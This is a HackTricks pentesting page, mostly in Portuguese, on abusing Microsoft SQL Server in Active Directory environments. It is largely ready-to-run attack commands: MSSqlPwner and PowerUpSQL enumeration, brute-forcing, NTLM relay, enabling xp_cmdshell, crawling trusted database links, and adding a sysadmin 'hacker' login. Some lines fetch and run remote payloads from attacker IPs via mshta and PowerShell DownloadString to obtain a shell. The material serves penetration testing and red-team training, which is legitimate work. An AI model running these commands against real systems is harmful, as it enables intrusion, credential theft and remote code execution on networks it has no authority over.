hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql.md

# MSSQL AD Abuse

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<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

## **MSSQL Enumeração / Descoberta**

### Python
A ferramenta [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) é baseada em impacket e também permite autenticar usando tickets kerberos e atacar através de cadeias de links.

<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
```shell
# Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive

# Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive


# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

# Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"

# Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password

# Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

```
### Enumerando a partir da rede sem sessão de domínio
```
# Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
```
---
###  Powershell

O módulo powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) é muito útil neste caso.
```powershell
Import-Module .\PowerupSQL.psd1
```
### Enumerando a partir da rede sem sessão de domínio
```powershell
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```
### Enumerando de dentro do domínio
```powershell
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
```
## Abuso Básico do MSSQL

### Acessar DB
```powershell
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
```
### MSSQL RCE

Pode também ser possível **executar comandos** dentro do host MSSQL
```powershell
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
```
Verifique na página mencionada na **seção seguinte como fazer isso manualmente.**

### Truques Básicos de Hacking MSSQL

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}

## Links Confiáveis MSSQL

Se uma instância MSSQL é confiável (link de banco de dados) por uma instância MSSQL diferente. Se o usuário tiver privilégios sobre o banco de dados confiável, ele poderá **usar o relacionamento de confiança para executar consultas também na outra instância**. Essas confianças podem ser encadeadas e, em algum momento, o usuário pode ser capaz de encontrar algum banco de dados mal configurado onde pode executar comandos.

**Os links entre bancos de dados funcionam mesmo através de confianças de floresta.**

### Abuso do Powershell
```powershell
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
```
### Metasploit

Você pode facilmente verificar links confiáveis usando metasploit.
```bash
#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
Note que o metasploit tentará abusar apenas da função `openquery()` no MSSQL (então, se você não conseguir executar comandos com `openquery()`, precisará tentar o método `EXECUTE` **manualmente** para executar comandos, veja mais abaixo.)

### Manual - Openquery()

A partir do **Linux**, você pode obter um shell de console MSSQL com **sqsh** e **mssqlclient.py.**

A partir do **Windows**, você também pode encontrar os links e executar comandos manualmente usando um **cliente MSSQL como** [**HeidiSQL**](https://www.heidisql.com)

_Login usando autenticação do Windows:_

![](<../../.gitbook/assets/image (808).png>)

#### Encontrar Links Confiáveis
```sql
select * from master..sysservers;
EXEC sp_linkedservers;
```
![](<../../.gitbook/assets/image (716).png>)

#### Execute queries in trustable link

Execute consultas através do link (exemplo: encontre mais links na nova instância acessível):
```sql
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
{% hint style="warning" %}
Verifique onde aspas duplas e simples são usadas, é importante usá-las dessa forma.
{% endhint %}

![](<../../.gitbook/assets/image (643).png>)

Você pode continuar essa cadeia de links confiáveis para sempre manualmente.
```sql
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
```
Se você não consegue realizar ações como `exec xp_cmdshell` a partir de `openquery()`, tente com o método `EXECUTE`.

### Manual - EXECUTE

Você também pode abusar de links confiáveis usando `EXECUTE`:
```bash
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
## Escalação de Privilégios Local

O **usuário local do MSSQL** geralmente possui um tipo especial de privilégio chamado **`SeImpersonatePrivilege`**. Isso permite que a conta "imite um cliente após a autenticação".

Uma estratégia que muitos autores desenvolveram é forçar um serviço do SYSTEM a se autenticar em um serviço malicioso ou man-in-the-middle que o atacante cria. Esse serviço malicioso pode então imitar o serviço do SYSTEM enquanto tenta se autenticar.

[SweetPotato](https://github.com/CCob/SweetPotato) possui uma coleção dessas várias técnicas que podem ser executadas através do comando `execute-assembly` do Beacon.

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